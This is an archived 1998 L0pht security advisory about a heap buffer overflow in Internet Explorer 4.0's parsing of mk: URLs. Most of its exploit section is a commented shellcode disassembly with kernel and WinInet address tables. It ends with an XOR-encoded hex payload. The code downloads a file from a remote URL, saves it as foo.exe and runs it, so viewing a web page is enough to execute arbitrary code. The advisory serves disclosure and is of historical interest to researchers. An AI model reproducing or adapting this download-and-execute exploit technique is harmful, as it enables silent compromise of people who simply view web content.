TUCoPS :: Browsers :: mkurlbug.txt

mk: URL overflow in Internet Explorer 4.0

Date: Wed, 14 Jan 1998 11:42:53 -0500
From: DilDog <dildog@L0PHT.COM>
Subject: L0pht Advisory MSIE4.0(1)

      Document:  L0pht Security Advisory
    URL Origin:  http://l0pht.com/advisories.html
  Release Date:  January 14th, 1998
   Application:  Microsoft Internet Explorer 4.0(1) Suite
      Severity:  Viewing remote HTML content can execute arbitrary native code
        Author:  dildog@l0pht.com
 Operating Sys:  Windows 95 and Windows NT




  The Microsoft Internet Explorer 4.0(1) Suite, including all programs supplied
  with it that read and/or process HTML from either local machines, intranet
  machines, or remote internet machines are subject to a buffer overflow in the
  HTML decoding process. The buffer overflow can cause the application to page
  fault, or in the worst case, execute arbitrary precompiled native code.

  Unlike the res:// bug, found a few months ago, this bug _does_ affect
  Windows NT as well as Windows 95.

  It has also been reported that this bug affects Internet Explorer 3.0 if
  you have Visual Studio (VC++/J++ etc) installed on your system. Though this
  may be true, and if so, exploitable, there has not been exploit code written
  up for it.

  Currently, sample exploit code has been written for:

        Windows 95 OSR1 and OSR2 running IE4.0 or IE4.01

  Systems known vulnerable:

        Windows 95 OSR1, OSR2 running IE3.0x+Infoviewer, IE4.0, IE4.01
        Windows NT Workstation/Server running IE4.0,IE4.01


  Much like the res:// overflow, this bug can be seen in action by clicking on
  a link -or- having the browser auto-refresh to a URL with the executable
  code in the url. Please look at the L0pht Advisory homepage for this bug for
  a detailed example of the problem.

 Technical Details

  The problem here lies in the deciphering of the URL line format itself. The
  base HTML library that is used by the Internet Explorer 4.0 Suite and the
  following programs are vulnerable:

        - Outlook Exp
ress (both mail and news)
        - Windows Explorer
        - Internet Explorer (different than regular explorer, really)

  This problem, because it stems from a programming flaw in the HTML decoding
  system, is unaffected by the Explorer "Security Zones" feature. In other
  words, if you turn on the highest security level for the zone from where the
  exploit HTML is being viewed, you are still vulnerable.

  The critical problem here is a buffer overflow in the parsing of a particular
  new type of URL protocol. The "mk:" type of URL is meant to access
  proprietary Microsoft 'InfoViewer Topics', as exhibited by the InfoViewer of
  Visual Studio, and the Help System of IE4.0(1).

  For example, the URL for the Microsoft IE4.0 help system is:


  The buffer overflow is not a standard stack overflow, but rather a _heap_
  overflow. This complicated coding exploits, but is, nonetheless, do-able.


  Currently, there is no solution available for this flaw. You can't set any
  Internet Explorer options to avoid it, and you are not protected by any
  level of zone security. Simply don't surf the web, read email or view
  net news using Internet Explorer 4.0(1) until Microsoft puts up a hotfix.

 Exploit Code

  Ok. This time, I'm going to assume you know something about stack overflows
  and writing generic buffer overflow scripts. If you're lost already, then the
  rest of this sure as hell ain't going to make any sense to you.

  The exploit code overflows a buffer on the heap, overwriting a few critical
  heap variables and, eventually leaving the EIP at a ridiculous point in the
  middle of URLMON.DLL ready to crash, unless you, bold coder, know what to
  stuff in those registers.

  Turns out that when you overflow that heap buffer, you can stuff a value
  right into EAX. This is important, because the critical code section that you
  reach looks like this:

        014F:702A365E  8B08                         MOV ECX,[EAX]
        014F:702A3660  50                           PUSH EAX
        014F:702A3661  FF5108                       CALL [ECX+08]

  (Incidentally, all the addresses here are for DLL's provided with IE4.01
  not IE4.0. The code is similar for IE4.0. Just different offsets. Onward.)

  You need that CALL [ECX+08] to jump to something useful. The place where
  it jumps is to a location in URLMON.DLL (or was it MSHTML.DLL, I forget.)
  that has an instruction that looks like CALL ECX. To get the NULL bytes and
  things in the right places involves a little finagling of the string using
  %00, and the null-terminator of the URL. It's really fun. Trust me.

  After that CALL ECX happens, your EIP points to a piece of code that is
  in your exploit space. Then, just jump to the beginning of the exploit code
  and start having fun. I used CALL to save a byte. (Who cares about the stack
  now anyway? You've already blown it to hell.)

  Ok. Here's it. (Described in terms of IE4.01)

  Commented disassembly: (starting at mk:@ivt:cDc/...)

> Skip over the jump tables

0057CC7C: 3BC0                         cmp    eax,eax
0057CC7E: 7468                         je     00057CCE8

> blah blah blah

0057CC80: 90                           nop
0057CC81: 90                           nop
0057CC82: 90                           nop

> Jump tables start here for WININET.DLL functions
> WinInet Function addresses:
>                    (dated 9/18/97) IE4.0       (dated 11/18/97) IE4.01
> InternetOpenA           0x702120B9                  0x70211817
> InternetOpenUrlA        0x7021949F                  0x70219345
> InternetCloseHandle     0x7020422B                  0x7020422E
> InternetReadFile        0x7020E2DC                  0x7020E3C4

0057CC83: BFE9E7DE8F                   mov    edi,08FDEE7E9  (InternetOpenA)
0057CC88: F7DF                         neg    edi
0057CC8A: FFE7                         jmp    edi
                   mov    edi,08FDE6CBB  (InternetOpenUrlA)
0057CC91: F7DF                         neg    edi
0057CC93: FFE7                         jmp    edi
0057CC95: BFD2BDDF8F                   mov    edi,08FDFBDD2  (InternetCloseHandle)
0057CC9A: F7DF                         neg    edi
0057CC9C: FFE7                         jmp    edi
0057CC9E: BF88C741E0                   mov    edi,0E041C788  (InternetReadFile)
0057CCA3: D1EF                         shr    edi,1
0057CCA5: FFE7                         jmp    edi

> End WININET Jump Table

0057CCA7: 90                           nop

> Start Kernel Offset Table for Win95 OSR 2 (no bad characters/nulls/otherwise!)
> Win95B Function addresses:
>  WinExec      (0xBFF9D330)
>  _lopen       (0xBFF773FB)
>  _lclose      (0xBFF98283)
>  _lwrite      (0xBFF9CDE8)
>  _lcreat      (0xBFF9CDBE)
>  ExitProcess  (0xBFF8AECD)
>  GlobalAlloc  (0xBFF74904)

0057CCA8:  30 D3 F9 BF-FB 73 F7 BF-83 82 F9 BF-E8 CD F9 BF
0057CCB8:  BE CD F9 BF-CD AE F8 BF-04 49 F7 BF-

> Start Kernel Offset Table for Win95 OSR 1 (no bad ones here either!)
> Win95A Function addresses:
>  WinExec      (0xBFF9D330)
>  _lopen       (0xBFF773FB)
>  _lclose      (0xBFF98283)
>  _lwrite      (0xBFF9CDE8)
>  _lcreat      (0xBFF9CDBE)
>  ExitProcess  (0xBFF8AECD)
>  GlobalAlloc  (0xBFF74904)

0057CCC4:  F8 CF F9 BF-B7 72 F7 BF-CF 80 F9 BF-B0 CA F9 BF
0057CCD4:  86 CA F9 BF-B0 AF F8 BF-04 49 F7 BF-

> blah blah blah

0057CCE4: 90                           nop
0057CCE5: 90                           nop
0057CCE6: 90                           nop
0057CCE7: 90                           nop
0057CCE8: 90                           nop

> check windows kernel version by querying random byte that happens to
> be different in the two versions. Also, set up ESI to be a pointer to
> the kernel offset table for the correct version.

0057CCE9: BB8BFFF7BF                   mov    ebx,0BFF7FF8B
0057CCEE: 2AFF                         sub    bh,bh
0057CCF0: 8BF5                         mov    esi,ebp
0057CCF2: B032                         mov    al,032
0057CCF4: 3803                         cmp    [ebx],al
0057CCF6: 750E                         jne    00057CD06
0057CCF8: 33C0                         xor    eax,eax
0057CCFA: B05F                         mov    al,05F
0057CCFC: 90                           nop
0057CCFD: 03F0                         add    esi,eax
0057CCFF: 720E                         jb     00057CD0F
0057CD01: 90                           nop
0057CD02: 90                           nop
0057CD03: 90                           nop
0057CD04: 90                           nop
0057CD05: 90                           nop
0057CD06: 33C0                         xor    eax,eax
0057CD08: B07B                         mov    al,07B
0057CD0A: 90                           nop
0057CD0B: 03F0                         add    esi,eax
0057CD0D: 90                           nop
0057CD0E: 90                           nop
0057CD0F: 90                           nop

> ESI is now a pointer to the first function the the appropriate kernel
> offset table. Now, we need to decode our 'data segment'. Do so, by XOR'ing
> (ADD'ing) each byte of the data area with 0x80. This prevents people from
> seeing what we're doing, as well as keeping out null characters and bad
> stuff in the exploit string.

0057CD10: 33C9                         xor    ecx,ecx
0057CD12: 66B95D01                     mov    cx,0015D
0057CD16: 03CD                         add    ecx,ebp
0057CD18: B238                         mov    dl,038  ;"8"
0057CD1A: 800180                       add    b,[ecx],080  ;"
0057CD1D: 41                           inc    ecx
0057CD1E: 4A                           dec    edx
0057CD1F: 75F9                         jne    00057CD1A   ----
0057CD21: 90                           nop
0057CD22: 90                           nop

> It becomes clear where we're going :)
> Let's allocate some memory. 65535 bytes to be precise.

0057CD23: 66BAFFFF
          mov    dx,0FFFF  ;"__"
0057CD27: 52                           push   edx
0057CD28: 33D2                         xor    edx,edx
0057CD2A: 52                           push   edx
0057CD2B: FF5618                       call   d,[esi][00018]
0057CD2E: 8BD8                         mov    ebx,eax

> Ok. Now we go ahead and call InternetOpenA and keep that Internet handle
> in EAX. Why do I call this function twice? I don't know. I was debugging
> and I never took it out. NOP it if you want. I don't care.

0057CD30: 33D2                         xor    edx,edx
0057CD32: 52                           push   edx
0057CD33: 52                           push   edx
0057CD34: 52                           push   edx
0057CD35: 52                           push   edx
0057CD36: 90                           nop
0057CD37: 6681C25D01                   add    dx,0015D
0057CD3C: 03D5                         add    edx,ebp
0057CD3E: 52                           push   edx
0057CD3F: E83FFFFFFF                   call   00057CC83
0057CD44: E83AFFFFFF                   call   00057CC83

> Now we call InternetOpenUrlA, getting us ready to download a file from
> the net into that buffer we allocated

0057CD49: 33D2                         xor    edx,edx
0057CD4B: 52                           push   edx
0057CD4C: 52                           push   edx
0057CD4D: 6AFF                         push   0FF
0057CD4F: 52                           push   edx
0057CD50: 6681C26501                   add    dx,00165
0057CD55: 03D5                         add    edx,ebp
0057CD57: 52                           push   edx
0057CD58: 50                           push   eax
0057CD59: E82EFFFFFF                   call   00057CC8C

> We then go ahead and call InternetReadFile, downloading 65535 bytes from the
> net and into the buffer.

0057CD5E: 8BD5                         mov    edx,ebp
0057CD60: 83C230                       add    edx,030
0057CD63: 90                           nop
0057CD64: 90                           nop
0057CD65: 52                           push   edx
0057CD66: 2BC9                         sub    ecx,ecx
0057CD68: 6649                         dec    cx
0057CD6A: 51                           push   ecx
0057CD6B: 53                           push   ebx
0057CD6C: 50                           push   eax
0057CD6D: E82CFFFFFF                   call   00057CC9E

> Call _lcreat, and make us a place to store what we downloaded.

0057CD72: 33D2                         xor    edx,edx
0057CD74: 52                           push   edx
0057CD75: 6681C25D01                   add    dx,0015D
0057CD7A: 03D5                         add    edx,ebp
0057CD7C: 52                           push   edx
0057CD7D: FF5610                       call   d,[esi][00010]

> ok, call _lwrite and write the buffer to the file.

0057CD80: 8BD5                         mov    edx,ebp
0057CD82: 83C230                       add    edx,030  ;"0"
0057CD85: 8B12                         mov    edx,[edx]
0057CD87: 52                           push   edx
0057CD88: 53                           push   ebx
0057CD89: 50                           push   eax
0057CD8A: 8BD8                         mov    ebx,eax
0057CD8C: FF560C                       call   d,[esi][0000C]

> Close the file with _lclose.

0057CD8F: 53                           push   ebx
0057CD90: FF5608                       call   d,[esi][00008]

> Now run what we downloaded by calling WinExec!

0057CD93: 33D2                         xor    edx,edx
0057CD95: 42                           inc    edx
0057CD96: 52                           push   edx
0057CD97: 6681C25C01                   add    dx,0015C
0057CD9C: 03D5                         add    edx,ebp
0057CD9E: 52                           push   edx
0057CD9F: FF16                         call   d,[esi]

> And go ahead and kill the Internet Explorer process. It's pretty
> bung'd out by now, and if we don't kill it, it will kill itself :)

0057CDA1: FF5614                       call   d,[esi][00014]

> The rest of this is left a
s an exercise to the reader, and is really only
> worth about 5 minutes of staring at. (Though it took about 5 or so hours to
> come up with!) Basically, you just gotta play around with your debugger
> and work those registers. Be clever, and you'll get something like this:

 0057CD98:             -           -           -2D 2D E6 EF
 0057CDA8:  EF AE E5 F8-E5 80 E8 F4-F4 F0 BA AF-AF F7 F7 F7
 0057CDB8:  AE EC B0 F0-E8 F4 AE E3-EF ED AF FE-E4 E9 EC E4
 0057CDC8:  EF E7 AF E9-E5 B4 DF ED-EB AF E6 EF-EF AE E5 F8
 0057CDD8:  E5 80 AD AD-AD AD AD AD-F3 9A 57 25-30 30 2D 2D
 0057CDE8:  2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D
 0057CDF8:  2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 24 25 26
 0057CE08:  27 28 29 2A-2B 2C 2D 2E-2F 30 31 32-33 34 35 36
 0057CE18:  37 38 39 3A-3B 3C 3D 3E-3F 40 80 81-82 83 84 85
 0057CE28:  86 87 88 E9-E8 4B FE FF-FF C0 74 F7-8A 2F 27 70
 0057CE38:  DB CD 57 22-3E 0D 0A 57-68 65 6E 20-79 6F 75 27
 0057CE48:  72 65 20 72-65 61 64 79-2C 20 63 6C-69 63 6B 20
 0057CE58:  68 65 72 65-2E 0D 0A 3C-2F 61 3E 0D-0A 3C 2F 63
 0057CE68:  65 6E 74 65-72 3E 0D 0A-3C 2F 62 6F-64 79 3E 0D
 0057CE78:  0A 3C 2F 68-74 6D 6C 3E-0D 0A 0D 0A-0D 0A 0D 0A
 0057CE88:  0D 0A      -           -           -

> Phew!

Anyway. The short and long of all that disassembly is this:

        1. It downloads a <64K file from the internet (any URL)
           Using the current firewall and proxy settings...

        2. It saves it as "foo.exe" on your desktop (probably)
        3. It runs the executable.
        4. To see which URL it is downloading, just XOR the tail end of the
           exploit string with 0x80's.

Hope you caught all that.


A haiku:

Strike two for I.E.
Common buffer overflows
Is that all of them?

dildog@l0pht.com (01/13/97)


For more L0pht (that's L - zero - P - H - T) advisories check out:

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH